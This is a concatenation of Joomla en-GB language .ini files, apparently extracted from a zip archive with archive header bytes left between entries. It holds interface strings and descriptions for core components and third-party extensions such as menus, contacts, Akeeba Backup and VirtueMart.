COM_CONTENT_PAGEBREAK_INSERT_BUTTON="Insert Page Break" COM_CONTENT_PAGEBREAK_TITLE="Page Title:" COM_CONTENT_PAGEBREAK_TOC="Table of Contents Alias:" COM_CONTENT_RIGHT="Right" COM_CONTENT_SAVE_SUCCESS="Article successfully saved" COM_CONTENT_SELECT_AN_ARTICLE="Select an Article" COM_CONTENT_SHARED_DESC="These settings apply for Shared Options in List, Blog and Featured unless they are changed by the menu settings." COM_CONTENT_SHARED_LABEL="Shared Options" COM_CONTENT_SHOW_ARTICLE_OPTIONS_DESC="Display or hide article options slider in the backend article edit view. These options allow overriding of the global options." COM_CONTENT_SHOW_ARTICLE_OPTIONS_LABEL="Show Article Options" COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no articles or subcategories." COM_CONTENT_SHOW_IMAGES_URLS_BACK_DESC="Display or hide fields to insert standardized images and links in the administrator" COM_CONTENT_SHOW_IMAGES_URLS_BACK_LABEL="Administrator Images and Links" COM_CONTENT_SHOW_IMAGES_URLS_FRONT_DESC="Display or hide fields to insert standardized images and links when front end editing" COM_CONTENT_SHOW_IMAGES_URLS_FRONT_LABEL="Frontend Images and Links" COM_CONTENT_SHOW_PUBLISHING_OPTIONS_DESC="Display or hide the publishing options slider in the article edit view. These options allow changes in dates and author identities." COM_CONTENT_SHOW_PUBLISHING_OPTIONS_LABEL="Show Publishing Options" COM_CONTENT_SLIDER_EDITOR_CONFIG="Configure Edit Screen" COM_CONTENT_SUBMENU_CATEGORIES="Categories" COM_CONTENT_SUBMENU_FEATURED="Featured Articles" COM_CONTENT_TOGGLE_TO_FEATURE="Toggle to change article state to 'Featured'" COM_CONTENT_TOGGLE_TO_UNFEATURE="Toggle to change article state to 'Unfeatured'" COM_CONTENT_UNFEATURED="Unfeatured article" COM_CONTENT_URL_FIELD_BROWSERNAV_LABEL="URL Target Window" COM_CONTENT_URL_FIELD_BROWSERNAV_DESC="Target browser window when the menu item is clicked." COM_CONTENT_URL_FIELD_A_BROWSERNAV_LABEL="URL A Target Window" COM_CONTENT_URL_FIELD_B_BROWSERNAV_LABEL="URL B Target Window" COM_CONTENT_URL_FIELD_C_BROWSERNAV_LABEL="URL C Target Window" COM_CONTENT_WARNING_PROVIDE_VALID_NAME="Please provide a valid, non-blank title." COM_CONTENT_XML_DESCRIPTION="Article management component" JGLOBAL_NO_ITEM_SELECTED="No articles selected" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="You are not allowed to create new articles in this category." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these articles." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." JLIB_RULES_SETTING_NOTES_ITEM="1. If you change the setting, it will apply to this article. Note that:
      Inherited means that the permissions from global configuration, parent group and category will be used.
      Denied means that no matter what the global configuration, parent group or category settings are, the group being edited cannot take this action on this article.
      Allowed means that the group being edited will be able to take this action for this article (but if this is in conflict with the global configuration, parent group or category it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\\m6language/en-GB/en-GB.plg_editors-xtd_pagebreak.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_PAGEBREAK="Button - Pagebreak" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Provides a button to enable a pagebreak to be inserted into an Article. A popup allows you to configure the settings to be used." PK@y>\24language/en-GB/en-GB.plg_system_languagecode.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SYSTEM_LANGUAGECODE="System - Language Code" PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides ability to change the language code in the generated HTML document to improve SEO" PK@y>\4|aa(language/en-GB/en-GB.com_contact.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTACT="Contacts" COM_CONTACT_CATEGORIES="Categories" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Shows a list of contact categories within a category." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_OPTION="Default" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_TITLE="List All Contact Categories" COM_CONTACT_CATEGORY_ADD_TITLE="Category Manager: Add A New Contact Category" COM_CONTACT_CATEGORY_EDIT_TITLE="Category Manager: Edit A Contact Category" COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="This view lists the contacts in a category." COM_CONTACT_CATEGORY_VIEW_DEFAULT_OPTION="Default" COM_CONTACT_CATEGORY_VIEW_DEFAULT_TITLE="List Contacts in a Category" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="This links to the contact information for one contact." COM_CONTACT_CONTACT_VIEW_DEFAULT_OPTION="Default" COM_CONTACT_CONTACT_VIEW_DEFAULT_TITLE="Single Contact" COM_CONTACT_FEATURED_VIEW_DEFAULT_DESC="This view lists the featured contacts." COM_CONTACT_FEATURED_VIEW_DEFAULT_OPTION="Default" COM_CONTACT_FEATURED_VIEW_DEFAULT_TITLE="Featured Contacts" COM_CONTACT_CONTACTS="Contacts" COM_CONTACT_XML_DESCRIPTION="This component shows a listing of Contact Information" PK@y>\u(language/en-GB/en-GB.com_chronoforms.ininuW+ACOM_CHRONOFORMS="ChronoForms" COM_CHRONOFORMS_FORMS_MANAGER="Forms Manager" COM_CHRONOFORMS_WIZARD="Form Wizard" COM_CHRONOFORMS_EASY_WIZARD="Easy Form Wizard" COM_CHRONOFORMS_VALIDATE="Validate Installation" COM_CHRONOFORMS_UPDATES="Apply Updates"PK@y>\_4language/en-GB/en-GB.plg_user_contactcreator.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM PLG_CONTACTCREATOR_XML_DESCRIPTION="Plugin to automatically create contact information for new users" PLG_USER_CONTACTCREATOR="User - Contact Creator" PK@y>\kByy#language/en-GB/en-GB.mod_status.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_STATUS="User Status" MOD_STATUS_BACKEND_USERS="%s Admins" MOD_STATUS_BACKEND_USERS_1="%s Admin" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_DESC="Show the number of users logged-in to the backend control panel" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_ADMIN_LABEL="Show logged-in backend users" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_DESC="Show the number of users logged-in for both frontend site and backend control panel" MOD_STATUS_FIELD_SHOW_LOGGEDIN_USERS_LABEL="Show logged-in users" MOD_STATUS_FIELD_SHOW_MESSAGES_DESC="Show the messages count for the current user's inbox" MOD_STATUS_FIELD_SHOW_MESSAGES_LABEL="Show messages" MOD_STATUS_LOG_OUT="Log out" MOD_STATUS_MESSAGES="%d" MOD_STATUS_MESSAGES_0="%d" MOD_STATUS_MESSAGES_1="%d" MOD_STATUS_USERS="%s Visitors" MOD_STATUS_USERS_0="%s Visitors" MOD_STATUS_USERS_1="%s Visitor" MOD_STATUS_XML_DESCRIPTION="This module shows the status of the logged-in users."PK@y>\C33,language/en-GB/en-GB.com_sociallogin.sys.ininuW+ACOM_SOCIALLOGIN_CONFIG="Social Login Configuration"PK@y>\Tƾaa2language/en-GB/en-GB.plg_search_categories.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CATEGORIES="Search - Categories" PLG_SEARCH_CATEGORIES_XML_DESCRIPTION="Enables searching of Category information"PK@y>\%g,language/en-GB/en-GB.plg_finder_weblinks.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_WEBLINKS="Smart Search - Weblinks" PLG_FINDER_WEBLINKS_XML_DESCRIPTION="This plugin indexes Joomla! Weblinks." PLG_FINDER_QUERY_FILTER_BRANCH_S_WEB_LINK="Web link" PLG_FINDER_QUERY_FILTER_BRANCH_P_WEB_LINK="Web links" PK@y>\|kk*language/en-GB/en-GB.com_installer.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_INSTALLER="Installation Manager" COM_INSTALLER_XML_DESCRIPTION="Installer component for adding, removing and upgrading extensions" PK@y>\G>n*language/en-GB/en-GB.plg_system_aklazy.ininuW+A; Akeeba Backup Lazy Scheduling ; Copyright (c)2009-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; ; This program is free software: you can redistribute it and/or modify ; it under the terms of the GNU General Public License as published by ; the Free Software Foundation, either version 3 of the License, or ; (at your option) any later version. ; ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ; GNU General Public License for more details. ; ; You should have received a copy of the GNU General Public License ; along with this program. If not, see . ; AKLAZY_DAYSFREQ_LABEL="Backup frequency, in days" AKLAZY_DAYSFREQ_DESC="Run a new backup every x days after the last backup" AKLAZY_BACKUPTIME_LABEL="Backup time (00:00-23:59)" AKLAZY_BACKUPTIME_DESC="Backup starts at this time, as long as you have visitor activity" AKLAZY_TEST_LABEL="Test mode" AKLAZY_TEST_DESCRIPTION="When enabled, page activity will always trigger a backup start/step, without paying any attention to the backup frequency and time. USE FOR TESTING ONLY!" AKLAZY_PROFILE_LABEL="Backup profile" AKLAZY_PROFILE_DESCRIPTION="The Akeeba Backup Profile to use" AKLAZY_RESETPW_LABEL="Password" AKLAZY_RESETPW_DESCRIPTION="Used to perform an emergency disable of the plugin should it malfunction and lock you out of your site, i.e. http://www.yoursite.com?akdisable=password" PK@y>\d<<.language/en-GB/en-GB.plg_search_virtuemart.ininuW+A; VirtueMart Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_VIRTUEMART="Search - VirtueMart" PLG_SEARCH_VIRTUEMART_PRODUCTS="Products"PK@y>\j@!??&language/en-GB/en-GB.com_login.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LOGIN="Login" COM_LOGIN_XML_DESCRIPTION="This component lets users login to the site." PK@y>\sPP,language/en-GB/en-GB.plg_xmap_com_k2.sys.ininuW+AXMAP_PLUGIN_K2="Xmap - K2 Plugin" XMAP_PLUGIN_K2_DESC="Plugin for K2 component" PK@y>\/language/en-GB/en-GB.plg_content_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_JOOMLA="Content - Joomla" PLG_CONTENT_JOOMLA_XML_DESCRIPTION="Does category processing for core extensions; sends an email when a new article is submitted in the frontend."PK@y>\ zz3language/en-GB/en-GB.plg_content_emailcloak.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_EMAILCLOAK="Content - Email Cloaking" PLG_CONTENT_EMAILCLOAK_XML_DESCRIPTION="Cloaks all emails in content from spambots using JavaScript"PK@y>\Z1language/en-GB/en-GB.plg_finder_newsfeeds.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_NEWSFEEDS="Smart Search - Newsfeeds" PLG_FINDER_NEWSFEEDS_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"Smart Search - Joomla! Newsfeeds"_QQ_" plugin" PLG_FINDER_NEWSFEEDS_XML_DESCRIPTION="This plugin indexes Joomla! Newsfeeds." PK@y>\.'language/en-GB/en-GB.mod_custom.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_CUSTOM="Custom HTML" MOD_CUSTOM_XML_DESCRIPTION="This Module allows you to create your own HTML Module using a WYSIWYG editor." MOD_CUSTOM_LAYOUT_DEFAULT="Default" PK@y>\Ovv$language/en-GB/en-GB.mod_toolbar.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TOOLBAR="Toolbar" MOD_TOOLBAR_XML_DESCRIPTION="This Module shows the toolbar icons used to control actions throughout the administrator area."PK@y>\+_'GG*language/en-GB/en-GB.com_languages.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LANGUAGES="Language Manager" COM_LANGUAGES_XML_DESCRIPTION="Component for language management" PK@y>\}700"language/en-GB/en-GB.com_menus.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MENUS="Menus Manager" COM_MENUS_ADD_MENU_MODULE="Add a module for this menu type." COM_MENUS_ADVANCED_FIELDSET_LABEL="Advanced Options" COM_MENUS_BASIC_FIELDSET_LABEL="Basic Options" COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE="You are not allowed to create new menu items." COM_MENUS_BATCH_MENU_ITEM_CANNOT_EDIT="You are not allowed to edit menu items." COM_MENUS_BATCH_MENU_LABEL="Select Menu or Parent for Move/Copy" COM_MENUS_BATCH_OPTIONS="Batch process the selected menu items" COM_MENUS_BATCH_TIP="If choosing to copy a menu item, any other actions selected will be applied to the copied menu item. Otherwise, all actions are applied to the selected menu item." COM_MENUS_CONFIGURATION="Menus Configuration" COM_MENUS_EDIT_MODULE_SETTINGS="Edit module settings" COM_MENUS_ERROR_ALL_LANGUAGE_ASSOCIATED="A menu item set to All languages can't be associated. Associations have not been set." COM_MENUS_ERROR_ALREADY_HOME="Menu item already set to home" COM_MENUS_ERROR_ONE_HOME="Only one menu item can be a home link for each language" COM_MENUS_EXTENSION_PUBLISHED_DISABLED="Component disabled and menu item published" COM_MENUS_EXTENSION_PUBLISHED_ENABLED="Component enabled and menu item published" COM_MENUS_EXTENSION_UNPUBLISHED_DISABLED="Component disabled and menu item unpublished" COM_MENUS_EXTENSION_UNPUBLISHED_ENABLED="Component enabled and menu item unpublished" COM_MENUS_FIELD_FEEDLINK_DESC="Display a feed link for this menu item" COM_MENUS_FIELD_FEEDLINK_LABEL="Feed link" COM_MENUS_FIELD_VALUE_IGNORE="Ignore" COM_MENUS_FIELD_VALUE_NEW_WITH_NAV="New Window With Navigation" COM_MENUS_FIELD_VALUE_NEW_WITHOUT_NAV="New Without Navigation" COM_MENUS_FIELD_VALUE_PARENT="Parent" COM_MENUS_GRID_UNSET_LANGUAGE="Unset %s Default" COM_MENUS_HEADING_ASSIGN_MODULE="Module" COM_MENUS_HEADING_ASSOCIATION="Association" COM_MENUS_HEADING_DISPLAY="Display" COM_MENUS_HEADING_HOME="Home" COM_MENUS_HEADING_LINKED_MODULES="Modules Linked to the Menu" COM_MENUS_HEADING_NUMBER_MENU_ITEMS="Number of Menu Items" COM_MENUS_HEADING_PUBLISHED_ITEMS="# Published" COM_MENUS_HEADING_TRASHED_ITEMS="# Trashed" COM_MENUS_HEADING_UNPUBLISHED_ITEMS="# Unpublished" COM_MENUS_HTML_PUBLISH_ALIAS="Publish the menu item alias" COM_MENUS_HTML_PUBLISH_DISABLED="Publish menu item::Component disabled" COM_MENUS_HTML_PUBLISH_ENABLED="Publish menu item::Component enabled" COM_MENUS_HTML_PUBLISH_SEPARATOR="Publish the separator menu item" COM_MENUS_HTML_PUBLISH_URL="Publish the external URL menu item" COM_MENUS_HTML_UNPUBLISH_ALIAS="Unpublish the menu item alias" COM_MENUS_HTML_UNPUBLISH_DISABLED="Unpublish menu item::Component disabled" COM_MENUS_HTML_UNPUBLISH_ENABLED="Unpublish menu item::Component enabled" COM_MENUS_HTML_UNPUBLISH_SEPARATOR="Unpublish the separator menu item" COM_MENUS_HTML_UNPUBLISH_URL="Unpublish the external URL menu item" COM_MENUS_INTEGRATION_FIELDSET_LABEL="Integration Options" COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_LABEL="Menu Item Associations" COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_DESC="Multilanguage only! This choice will only display if the Language Filter parameter 'Menu Associations' is set to 'Yes'. Choose a menu item for the target language. This association will let the Language Switcher module redirect to the associated menu item in another language. If used, make sure to display the Language switcher module on the concerned pages. A menu item set to language 'All' can't be associated." COM_MENUS_ITEM_DETAILS="Details" COM_MENUS_ITEM_FIELD_ALIAS_DESC="The alias is used in the URL when SEF is on" COM_MENUS_ITEM_FIELD_ALIAS_MENU_DESC="Menu Item to link to..." COM_MENUS_ITEM_FIELD_ALIAS_MENU_LABEL="Menu Item" COM_MENUS_ITEM_FIELD_ANCHOR_CSS_DESC="An optional, custom style to apply to the menu hyperlink." COM_MENUS_ITEM_FIELD_ANCHOR_CSS_LABEL="Link CSS Style" COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_DESC="An optional, custom description for the title attribute of the menu hyperlink." COM_MENUS_ITEM_FIELD_ANCHOR_TITLE_LABEL="Link Title Attribute" COM_MENUS_ITEM_FIELD_ASSIGNED_DESC="Shows which menu a link will appear in." COM_MENUS_ITEM_FIELD_ASSIGNED_LABEL=" Menu Location" COM_MENUS_ITEM_FIELD_ASSOCIATION_NO_VALUE="- No association -" COM_MENUS_ITEM_FIELD_BROWSERNAV_DESC="Target browser window when the menu item is clicked." COM_MENUS_ITEM_FIELD_BROWSERNAV_LABEL="Target Window" COM_MENUS_ITEM_FIELD_HIDE_UNASSIGNED="Hide Unassigned Modules" COM_MENUS_ITEM_FIELD_HOME_DESC="Sets this menu item as the default or home page of the site. You must have a default page set at all times." COM_MENUS_ITEM_FIELD_HOME_LABEL="Default Page" COM_MENUS_ITEM_FIELD_LANGUAGE_DESC="Assign a language to this menu item" COM_MENUS_ITEM_FIELD_LINK_DESC="Link for this menu" COM_MENUS_ITEM_FIELD_LINK_LABEL="Link" COM_MENUS_ITEM_FIELD_MENU_IMAGE_DESC="An optional image to be used with the menu hyperlink " COM_MENUS_ITEM_FIELD_MENU_IMAGE_LABEL="Link Image" COM_MENUS_ITEM_FIELD_MENU_TEXT_DESC="If the optional image is added, adds the menu title next to the image. Default is 'Yes'." COM_MENUS_ITEM_FIELD_MENU_TEXT_LABEL="Add Menu Title" COM_MENUS_ITEM_FIELD_NOTE_DESC="Enter some text here" COM_MENUS_ITEM_FIELD_ORDERING_DESC="The menu item will be placed in the menu after the selected menu item" COM_MENUS_ITEM_FIELD_ORDERING_LABEL="Ordering" COM_MENUS_ITEM_FIELD_ORDERING_TEXT="Ordering will be available after saving" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_FIRST="- First -" COM_MENUS_ITEM_FIELD_ORDERING_VALUE_LAST="- Last -" COM_MENUS_ITEM_FIELD_PAGE_CLASS_DESC="Optional CSS class to add to elements in this page. This allows CSS styling specific to this page." COM_MENUS_ITEM_FIELD_PAGE_CLASS_LABEL="Page Class" COM_MENUS_ITEM_FIELD_PAGE_HEADING_DESC="Optional alternative text for the Page heading." COM_MENUS_ITEM_FIELD_PAGE_HEADING_LABEL="Page Heading" COM_MENUS_ITEM_FIELD_PAGE_TITLE_DESC="Optional text for the "Browser page title" element. If blank, a default value is used based on the Menu Item Title." COM_MENUS_ITEM_FIELD_PAGE_TITLE_LABEL="Browser Page Title" COM_MENUS_ITEM_FIELD_PARENT_DESC="Select a Parent Item" COM_MENUS_ITEM_FIELD_PARENT_LABEL="Parent Item" COM_MENUS_ITEM_FIELD_SECURE_DESC="Selects whether or not this link should use SSL and the Secure Site URL" COM_MENUS_ITEM_FIELD_SECURE_LABEL="Secure" COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_DESC="Show / Hide the Browser Page Title in the heading of the page ( If no optional text entered - will default to value based on the Menu Item Title ). The Page heading is usually displayed inside the "H1" tag." COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_LABEL="Show Page Heading" COM_MENUS_ITEM_FIELD_TEMPLATE_DESC="Select a specific template style for this menu item or use the default template." COM_MENUS_ITEM_FIELD_TEMPLATE_LABEL="Template Style" COM_MENUS_ITEM_FIELD_TITLE_DESC="The title of the menu item that will display in the menu." COM_MENUS_ITEM_FIELD_TITLE_LABEL="Menu Title" COM_MENUS_ITEM_FIELD_TYPE_DESC="The type of link: Component, URL, Alias or Separator" COM_MENUS_ITEM_FIELD_TYPE_LABEL="Menu Item Type" COM_MENUS_ITEM_IS_DEFAULT="Is default" COM_MENUS_ITEM_MODULE_ASSIGNMENT="Module Assignment for this Menu Item" COM_MENUS_ITEM_REQUIRED="Required" COM_MENUS_ITEM_ROOT="Menu Item Root" COM_MENUS_ITEMS_REBUILD_FAILED="Failed rebuilding Menu Items list" COM_MENUS_ITEMS_REBUILD_SUCCESS="Menu items list successfully rebuilt" COM_MENUS_ITEMS_SEARCH_FILTER="Search title or alias. Prefix with ID: to search for a menu ID." COM_MENUS_ITEMS_SET_HOME_0="No menu item set to home" COM_MENUS_ITEMS_SET_HOME_1="One menu item successfully set to home" COM_MENUS_ITEMS_SET_HOME_MORE="%d menu items successfully set to home" COM_MENUS_ITEMS_UNSET_HOME="One menu item successfully unset to home" COM_MENUS_LAYOUT_FEATURED_OPTIONS="Layout Options" COM_MENUS_LAYOUT_MENUTYPE_OPTIONS_LABEL="Menu Type Options" COM_MENUS_LINKTYPE_OPTIONS_LABEL="Link Type Options" COM_MENUS_MENU_CONFIRM_DELETE="Are you sure you want to delete these menus? Confirming will delete the selected menu types, all their menu items and the associated menu modules." COM_MENUS_MENU_DESCRIPTION_DESC="A description about the purpose of the menu." COM_MENUS_MENU_DETAILS="Menu Details" COM_MENUS_MENU_ITEM_SAVE_SUCCESS="Menu item successfully saved" COM_MENUS_MENU_MENUTYPE_DESC="The system name of the menu." COM_MENUS_MENU_MENUTYPE_LABEL="Menu type" COM_MENUS_TYPE_SYSTEM="System Links" COM_MENUS_MENU_SAVE_SUCCESS="Menu successfully saved" COM_MENUS_MENU_TITLE_DESC="The title of the menu to display in the Administrator Menubar and lists." COM_MENUS_MENU_TYPE_NOT_ALLOWED="This is a reserved menutype." COM_MENUS_PAGE_OPTIONS_LABEL="Page Display Options" ; in the following string ; %1$s is for module title, %2$s is for access-title, %3$s is for position COM_MENUS_MODULE_ACCESS_POSITION="%1$s (%2$s in %3$s)" COM_MENUS_MODULE_SHOW_VARIES="Varies" COM_MENUS_N_ITEMS_CHECKED_IN_0="No menu item successfully checked in" COM_MENUS_N_ITEMS_CHECKED_IN_1="%d menu item successfully checked in" COM_MENUS_N_ITEMS_CHECKED_IN_MORE="%d menu items successfully checked in" COM_MENUS_N_ITEMS_DELETED="%d menu items successfully deleted" COM_MENUS_N_ITEMS_DELETED_1="%d menu item successfully deleted" COM_MENUS_N_ITEMS_PUBLISHED="%d menu items successfully published" COM_MENUS_N_ITEMS_PUBLISHED_1="%d menu item successfully published" COM_MENUS_N_ITEMS_TRASHED="%d menu items successfully trashed" COM_MENUS_N_ITEMS_TRASHED_1="%d menu item successfully trashed" COM_MENUS_N_ITEMS_UNPUBLISHED="%d menu items successfully unpublished" COM_MENUS_N_ITEMS_UNPUBLISHED_1="%d menu item successfully unpublished" COM_MENUS_N_MENUS_DELETED="%d menu types successfully deleted" COM_MENUS_N_MENUS_DELETED_1="Menu type successfully deleted" COM_MENUS_NO_ITEM_SELECTED="No menu items selected" COM_MENUS_NO_MENUS_SELECTED="No menu selected" COM_MENUS_OPTION_SELECT_LEVEL="- Select Max Levels -" COM_MENUS_REQUEST_FIELDSET_LABEL="Required Settings" COM_MENUS_SAVE_SUCCESS="Menu item successfully saved" COM_MENUS_SUBMENU_ITEMS="Menu Items" COM_MENUS_SUBMENU_MENUS="Menus" COM_MENUS_SUCCESS_REORDERED="Menu item successfully reordered" COM_MENUS_TIP_ALIAS_LABEL="Warning!
      Leave the alias field empty if the menu item alias and the menu item linked to by the alias have the same parent." COM_MENUS_TIP_ASSOCIATION="Associated menu items" COM_MENUS_TIP_ASSOCIATED_LANGUAGE="%s %s (%s)" COM_MENUS_TITLE_EDIT_ITEM="Menu Manager: Title Edit Item" COM_MENUS_TOOLBAR_SET_HOME="Home" COM_MENUS_TYPE_ALIAS="Menu Item Alias" COM_MENUS_TYPE_ALIAS_DESC="Create an alias to another menu item." COM_MENUS_TYPE_CHOOSE="Select a Menu Item Type:" COM_MENUS_TYPE_EXTERNAL_URL="External URL" COM_MENUS_TYPE_EXTERNAL_URL_DESC="An external or internal URL." COM_MENUS_TYPE_SEPARATOR="Text Separator" COM_MENUS_TYPE_SEPARATOR_DESC="A text separator." COM_MENUS_TYPE_UNEXISTING="Component '%s' does not exist" COM_MENUS_TYPE_UNKNOWN="Unknown" COM_MENUS_VIEW_EDIT_ITEM_TITLE="Menu Manager: Edit Menu Item" COM_MENUS_VIEW_EDIT_MENU_TITLE="Menu Manager: Edit Menu" COM_MENUS_VIEW_ITEMS_TITLE="Menu Manager: Menu Items" COM_MENUS_VIEW_MENUS_TITLE="Menu Manager: Menus" COM_MENUS_VIEW_NEW_ITEM_TITLE="Menu Manager: New Menu Item" COM_MENUS_VIEW_NEW_MENU_TITLE="Menu Manager: Add Menu" COM_MENUS_XML_DESCRIPTION="Component for creating menus" JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Cannot change the published state when the parent menu item is of a lesser state." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\tG;/language/en-GB/en-GB.plg_finder_content.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CONTENT="Smart Search - Content" PLG_FINDER_CONTENT_ERROR_ACTIVATING_PLUGIN="Could not automatically activate the "_QQ_"Smart Search - Content"_QQ_" plugin" PLG_FINDER_CONTENT_XML_DESCRIPTION="This plugin indexes Joomla! Articles." PK@y>\[t~~'language/en-GB/en-GB.mod_logged.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGGED="Logged-in Users" MOD_LOGGED_XML_DESCRIPTION="This Module shows a list of the currently Logged-in Users" MOD_LOGGED_LAYOUT_DEFAULT="Default" PK@y>\JD00-language/en-GB/en-GB.plg_user_profile.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_PROFILE="User - Profile" PLG_USER_PROFILE_XML_DESCRIPTION="User Profile Plug-in" PK@y>\a /language/en-GB/en-GB.plg_vmpayment_standard.ininuW+A; $Id: en-GB.plg_vmpayment_standard.ini 2567 2010-10-08 14:20:50Z _fD_ $ ; @package ; @author Valerie Isaksen ; Copyright (C) 2008 VirtueMart, 2010 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMPAYMENT_STANDARD="Vm Payment plugin Standard" 